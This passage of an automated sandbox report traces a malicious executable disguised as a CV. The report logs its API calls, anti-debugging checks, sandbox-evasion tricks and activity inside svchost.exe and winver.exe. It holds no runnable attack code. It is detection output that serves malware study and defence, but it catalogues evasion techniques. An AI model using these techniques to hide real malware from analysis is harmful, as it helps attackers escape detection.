Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004086AF push edx; retf	1_2_004086AE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A309AD push ecx; mov dword ptr [esp], ecx	1_2_03A309B6
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C5FA2D push es; ret	5_2_02C5FA40
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C53B22 push esp; retf	5_2_02C53B23
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C5306E push eax; retf	5_2_02C5306F
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C4E9BE push ss; retf	5_2_02C4E9C4
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C5C690 push eax; iretd	5_2_02C5C691
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C5C6B5 push esp; retf	5_2_02C5C6BE
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C4570B push edx; retf	5_2_02C45724
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C45725 push edx; retf	5_2_02C45724
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04FE09AD push ecx; mov dword ptr [esp], ecx	6_2_04FE09B6
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0300E310 push esi; ret	6_2_0300E317
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0301C237 push eax; iretd	6_2_0301C238

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003E8111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_003E8111
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_0039EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0039EB42

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003A123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_003A123A

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	API/Special instruction interceptor: Address: 19FD24C
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_03A7096E rdtsc

1_2_03A7096E

Source: C:\Windows\SysWOW64\winver.exe	Window / User API: threadDelayed 2076			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Window / User API: threadDelayed 7896			Jump to behavior

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Evaded block: after key decision			graph_0-94100
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Evaded block: after key decision			graph_0-93105

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-93552

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	API coverage: 4.6 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\winver.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\winver.exe TID: 7928	Thread sleep count: 2076 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 7928	Thread sleep time: -4152000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 7928	Thread sleep count: 7896 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 7928	Thread sleep time: -15792000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe TID: 7952	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe TID: 7952	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe TID: 7952	Thread sleep time: -54000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe TID: 7952	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe TID: 7952	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003C6CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_003C6CA9
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003C60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_003C60DD
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003C63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_003C63F9
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003CEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_003CEB60
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003CF56F FindFirstFileW,FindClose,	0_2_003CF56F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003CF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_003CF5FA
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003D1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_003D1B2F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003D1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_003D1C8A
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003D1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_003D1F94
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0301C740 FindFirstFileW,FindNextFileW,FindClose,	6_2_0301C740

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_0039DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0039DDC0

Source: winver.exe, 00000006.00000002.4144237864.0000000003275000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4144577938.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000008.00000002.2345359398.000001DAFE66C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllTT

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

API call chain: ExitProcess graph end node

graph_0-92875

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_03A7096E rdtsc

1_2_03A7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417A83 LdrLoadDll,

1_2_00417A83

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003D6AAF BlockInput,

0_2_003D6AAF

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_00383D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00383D19

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003B3920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

0_2_003B3920

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_0039E01E LoadLibraryA,GetProcAddress,

0_2_0039E01E

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_019FD518 mov eax, dword ptr fs:[00000030h]	0_2_019FD518
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_019FD4B8 mov eax, dword ptr fs:[00000030h]	0_2_019FD4B8
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_019FBE68 mov eax, dword ptr fs:[00000030h]	0_2_019FBE68
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2E388 mov eax, dword ptr fs:[00000030h]	1_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2E388 mov eax, dword ptr fs:[00000030h]	1_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2E388 mov eax, dword ptr fs:[00000030h]	1_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5438F mov eax, dword ptr fs:[00000030h]	1_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5438F mov eax, dword ptr fs:[00000030h]	1_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A28397 mov eax, dword ptr fs:[00000030h]	1_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A28397 mov eax, dword ptr fs:[00000030h]	1_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A28397 mov eax, dword ptr fs:[00000030h]	1_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A403E9 mov eax, dword ptr fs:[00000030h]	1_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A403E9 mov eax, dword ptr fs:[00000030h]	1_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A403E9 mov eax, dword ptr fs:[00000030h]	1_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A403E9 mov eax, dword ptr fs:[00000030h]	1_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A403E9 mov eax, dword ptr fs:[00000030h]	1_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A403E9 mov eax, dword ptr fs:[00000030h]	1_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A403E9 mov eax, dword ptr fs:[00000030h]	1_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A403E9 mov eax, dword ptr fs:[00000030h]	1_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A663FF mov eax, dword ptr fs:[00000030h]	1_2_03A663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEC3CD mov eax, dword ptr fs:[00000030h]	1_2_03AEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A383C0 mov eax, dword ptr fs:[00000030h]	1_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A383C0 mov eax, dword ptr fs:[00000030h]	1_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A383C0 mov eax, dword ptr fs:[00000030h]	1_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A383C0 mov eax, dword ptr fs:[00000030h]	1_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB63C0 mov eax, dword ptr fs:[00000030h]	1_2_03AB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	1_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	1_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE3DB mov ecx, dword ptr fs:[00000030h]	1_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE3DB mov eax, dword ptr fs:[00000030h]	1_2_03ADE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD43D4 mov eax, dword ptr fs:[00000030h]	1_2_03AD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD43D4 mov eax, dword ptr fs:[00000030h]	1_2_03AD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A30B mov eax, dword ptr fs:[00000030h]	1_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A30B mov eax, dword ptr fs:[00000030h]	1_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A30B mov eax, dword ptr fs:[00000030h]	1_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2C310 mov ecx, dword ptr fs:[00000030h]	1_2_03A2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A50310 mov ecx, dword ptr fs:[00000030h]	1_2_03A50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD437C mov eax, dword ptr fs:[00000030h]	1_2_03AD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB2349 mov eax, dword ptr fs:[00000030h]	1_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB035C mov eax, dword ptr fs:[00000030h]	1_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB035C mov eax, dword ptr fs:[00000030h]	1_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB035C mov eax, dword ptr fs:[00000030h]	1_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB035C mov ecx, dword ptr fs:[00000030h]	1_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB035C mov eax, dword ptr fs:[00000030h]	1_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB035C mov eax, dword ptr fs:[00000030h]	1_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFA352 mov eax, dword ptr fs:[00000030h]	1_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD8350 mov ecx, dword ptr fs:[00000030h]	1_2_03AD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B0634F mov eax, dword ptr fs:[00000030h]	1_2_03B0634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A402A0 mov eax, dword ptr fs:[00000030h]	1_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A402A0 mov eax, dword ptr fs:[00000030h]	1_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]	1_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E284 mov eax, dword ptr fs:[00000030h]	1_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E284 mov eax, dword ptr fs:[00000030h]	1_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB0283 mov eax, dword ptr fs:[00000030h]	1_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB0283 mov eax, dword ptr fs:[00000030h]	1_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB0283 mov eax, dword ptr fs:[00000030h]	1_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A402E1 mov eax, dword ptr fs:[00000030h]	1_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A402E1 mov eax, dword ptr fs:[00000030h]	1_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A402E1 mov eax, dword ptr fs:[00000030h]	1_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B062D6 mov eax, dword ptr fs:[00000030h]	1_2_03B062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2823B mov eax, dword ptr fs:[00000030h]	1_2_03A2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A34260 mov eax, dword ptr fs:[00000030h]	1_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A34260 mov eax, dword ptr fs:[00000030h]	1_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A34260 mov eax, dword ptr fs:[00000030h]	1_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2826B mov eax, dword ptr fs:[00000030h]	1_2_03A2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274 mov eax, dword ptr fs:[00000030h]	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB8243 mov eax, dword ptr fs:[00000030h]	1_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB8243 mov ecx, dword ptr fs:[00000030h]	1_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2A250 mov eax, dword ptr fs:[00000030h]	1_2_03A2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36259 mov eax, dword ptr fs:[00000030h]	1_2_03A36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEA250 mov eax, dword ptr fs:[00000030h]	1_2_03AEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEA250 mov eax, dword ptr fs:[00000030h]	1_2_03AEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A70185 mov eax, dword ptr fs:[00000030h]	1_2_03A70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEC188 mov eax, dword ptr fs:[00000030h]	1_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEC188 mov eax, dword ptr fs:[00000030h]	1_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD4180 mov eax, dword ptr fs:[00000030h]	1_2_03AD4180
